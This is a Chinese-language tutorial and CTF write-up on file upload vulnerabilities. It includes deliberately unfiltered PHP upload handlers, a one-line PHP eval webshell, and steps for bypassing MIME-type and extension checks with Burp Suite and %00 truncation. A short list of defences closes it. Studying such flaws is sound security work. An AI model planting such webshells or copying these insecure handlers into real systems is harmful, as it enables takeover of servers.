溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

文件上傳漏洞原理與實例測試

發(fā)布時間:2020-07-22 19:56:04 來源:網(wǎng)絡(luò) 閱讀:12292 作者:nw01f 欄目:安全技術(shù)

 

0x00 什么是文件上傳


  • 為了讓用戶將文件上傳到網(wǎng)站,就像是給危機服務(wù)器的惡意用戶打開了另一扇門。即便如此,在今天的現(xiàn)代互聯(lián)網(wǎng)的Web應用程序,它是一種常見的要求,因為它有助于提高業(yè)務(wù)效率。企業(yè)支持門戶,給用戶各企業(yè)員工有效地共享文件。允許用戶上傳圖片,視頻,頭像和許多其他類型的文件。向用戶提供的功能越多,Web應用受到***的風險和機會就越大,這種功能會被惡意用戶利用,獲得到一個特定網(wǎng)站的權(quán)限,或危及服務(wù)器的可能性是非常高的。

0x01 為什么文件上傳存在漏洞

  • 上傳文件的時候,如果服務(wù)器腳本語言,未對上傳的文件進行嚴格的驗證和過濾,就容易造成上傳任意文件,包括上傳腳本文件。

  • 如果是正常的PHP文件,對服務(wù)器則沒有任何危害。

  • PHP可以像其他的編程語言一樣,可以查看目錄下的文件,查看文件中的嗎內(nèi)容,可以執(zhí)行系統(tǒng)命令等。

  • 上傳文件的時候,如果服務(wù)器端腳本語言,未對上傳的文件進行嚴格的驗證和過濾,就有可能上傳惡意的PHP文件,從而控制整個網(wǎng)站,甚至是服務(wù)器。這個惡意的PHP文件,又被稱為WebShell。


0x02 哪里存在文件上傳漏洞


  • 服務(wù)器配置不當

  • 開源編輯器的上傳漏洞

  • 本地文件上傳限制被繞過

  • 過濾不嚴或被繞過

  • 文件解析漏洞導致文件執(zhí)行

  • 文件路徑截斷


0x03 文件上傳實例(本地測試)


  • 嘿嘿嘿?one


<!DOCTYPE html>
<html>
<head>
    <title>文件信息</title>
</head>
<meta charset="utf-8">
<body>
<form action="" enctype="multipart/form-data" method="POST" name="uploadfile">
    上傳文件: <input type="file" name="upfile" />
    <input type="submit" value="上傳" name="submit">
</form>
</body>
</html>
<!-- 完全沒有過濾,任意文件上傳 -->
<?php
if (isset($_POST['submit'])) {
    var_dump($_FILES['upfile']);
    echo "文件名:".$_FILES['upfile']['name']."<br />";
    echo "文件大?。?quot;.$_FILES['upfile']['size']."<br />";
    echo "文件類型:".$_FILES['upfile']['type']."<br />";
    echo "臨時路徑:".$_FILES['upfile']['tmp_name']."<br />";
    echo "上傳后系統(tǒng)返回值:".$_FILES['upfile']['error']."<br />";
    echo "====================保存分各線========================<br />";
    if ($_FILES['upfile']['error'] == 0) {
        if (!is_dir("./upload")) {
            mkdir("./upload");
        }
        $dir = "./upload/".$_FILES['upfile']['name'];
        move_uploaded_file($_FILES['upfile']['tmp_name'],$dir);
        echo "文件保存路徑:".$dir."<br />";
        echo "上傳成功...<br />";
        echo "圖片預覽:<br />";
        echo "<img src=".$dir.">";
    }
}
 ?>

文件上傳漏洞原理與實例測試

設(shè)置本地代理用Burp Suite 抓包,通過對比我們可以看到,PHP中的<文件名>和<文件類型>分別對應數(shù)據(jù)包中<filename>和<Content-Type>。


  • 嘿嘿嘿?two

<!DOCTYPE html>
<html>
<head>
    <title>文件信息</title>
</head>
<meta charset="utf-8">
<body>
<form action="" enctype="multipart/form-data" method="POST" name="uploadfile">
    上傳文件: <input type="file" name="upfile" />
    <input type="submit" value="上傳" name="submit">
</form>
</body>
</html>
<!-- 按文件類型過濾 -->
<?php
if (isset($_POST['submit'])) {
    var_dump($_FILES['upfile']);
    echo "文件名:".$_FILES['upfile']['name']."<br />";
    echo "文件大?。?quot;.$_FILES['upfile']['size']."<br />";
    echo "文件類型:".$_FILES['upfile']['type']."<br />";
    echo "臨時路徑:".$_FILES['upfile']['tmp_name']."<br />";
    echo "上傳后系統(tǒng)返回值:".$_FILES['upfile']['error']."<br />";
    echo "====================保存分各線========================<br />";
    $flag = 0;
    switch ($_FILES['upfile']['type']) {
        case 'image/jpeg':
            $flag = 1;
            break;
        default:
            die("文件類型錯誤.....");
            break;
    }
    if ($_FILES['upfile']['error'] == 0 && $flag ) {
        if (!is_dir("./upload")) {
            mkdir("./upload");
        }
    $dir = "./upload/".$_FILES['upfile']['name'];
    move_uploaded_file($_FILES['upfile']['tmp_name'],$dir);
    echo "文件保存路徑:".$dir."<br />";
        echo "上傳成功...<br />";
        echo "圖片預覽:<br />";
        echo "<img src=".$dir.">";
    }
}
 ?>

在這段代碼里,我們通過 <$_FILES['upfile']['type']> 來檢測文件上傳的類型,通過第一個圖里的對比我們知道Http數(shù)據(jù)包請求頭里的<Content-Type >對應的是上傳文件的類型,那么我們是不是可以通過修改數(shù)據(jù)包的內(nèi)容來實驗繞過.ok,現(xiàn)在我們上傳一個PHP一句話***。

<?php
@eval($_POST['xxx']);
echo "dahuiji....";
 ?>

文件上傳漏洞原理與實例測試

看返回的頁面我們知道我們成功繞過了對文件類型的檢測,并且菜刀連接成功


  • 嘿嘿嘿?three(一個十六進制的<00>截斷的ctf)


url:http://ctf4.shiyanbar.com/web/upload/

文件上傳漏洞原理與實例測試

首先我們對抓取的數(shù)據(jù)包做出以上修改

文件上傳漏洞原理與實例測試

通過16進制我們知道 <.>的16進制是<2e>在<2e>出插入一個字節(jié),右鍵菜單里有<insert byte>插入。

文件上傳漏洞原理與實例測試

ok,現(xiàn)在我們成功獲取了flag。

現(xiàn)在我們說下這個實驗的實現(xiàn)原理:

1.為什么在文件后面加上<.jpg>和在數(shù)據(jù)包<uploads/>后面加上修改后的文件名?
     PHP在對文件后綴進行判斷時是對最后一個 <.xxx> 來判斷的。這樣我們修改過后的文件
  名,PHP會將其判斷為.jpg文件這樣我們可以繞過對文件名的檢測。
  
2.為什么我們對文件名修改過后還需要添加%00截斷?
    盡管我們知道我們上傳的是一個PHP文件,但是如果不進行%00截斷,我們上傳的文件在服務(wù)
  器上是以<xxx.php.jpg>格式保存也就是說這是一個圖片文件,PHP是不會解析這個文件。
  當我們進行%00截斷后,服務(wù)器就會將%00后的<.jpg>進行截斷,這是我們的的文件將以<xxx.php>
  的形式保存在服務(wù)器上,我們的一句話***也就成功的時上傳成功了。


  • Part Four

<!DOCTYPE html>
<html>
<head>
    <title>文件信息</title>
</head>
<meta charset="utf-8">
<body>
<form action="" enctype="multipart/form-data" method="POST" name="uploadfile">
    上傳文件: <input type="file" name="upfile" />
    <input type="submit" value="上傳" name="submit">
</form>
</body>
</html>
<?php
if (isset($_POST['submit'])) {
    var_dump($_FILES['upfile']);
    echo "文件名:".$_FILES['upfile']['name']."<br />";
    echo "文件大?。?quot;.$_FILES['upfile']['size']."<br />";
    echo "文件類型:".$_FILES['upfile']['type']."<br />";
    echo "臨時路徑:".$_FILES['upfile']['tmp_name']."<br />";
    echo "上傳后系統(tǒng)返回值:".$_FILES['upfile']['error']."<br />";
    echo "====================保存分各線========================<br />";
    $flag = 0;
    $path_parts = pathinfo($_FILES['upfile']['name']);
    echo '---<br>';
    var_dump($path_parts);    //返回文件路徑信息
    if ($path_parts['extension'] == 'jpg' && $_FILES['upfile']['type'] == 'image/jpeg') {
        $flag = 1;
    }else{
        die("文件類型錯誤....");
    }
    if ($_FILES['upfile']['error'] == 0 && $flag ) {
        if (!is_dir("./upload")) {
            mkdir("./upload");
        }
        $dir = "./upload/".$_FILES['upfile']['name'];
        echo "文件保存路徑:".$dir."<br />";
        move_uploaded_file($_FILES['upfile']['tmp_name'],$dir);
        echo "上傳成功...<br />";
        echo "圖片預覽:<br />";
        echo "<img src=".$dir.">";
    }
}
 ?>

上傳一張正常的圖片。

文件上傳漏洞原理與實例測試


上傳一句話***進行繞過檢測

文件上傳漏洞原理與實例測試

為什么這次不能進行繞過?
     我們對文件名進行截斷后,當數(shù)據(jù)包到Apache的時候,Apache會對截斷處理這時截斷的文件
     名變?yōu)?lt;xxx.php>當PHP判斷時會發(fā)現(xiàn)文件的后綴為<php>,然后我們就上傳失敗了....

 (以上只是我對上傳失敗的一點理解,歡迎指正。
  歡迎技術(shù)討論,可以將上述方法繞過的同學歡迎指教。
  致謝...)


0x04 上傳漏洞的防御


  1. 對面文件后綴進行檢測

  2. 對文件類型進行檢測

  3. 對文件內(nèi)容進行檢測

  4. 設(shè)置上傳白名單


向AI問一下細節(jié)

免責聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關(guān)證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI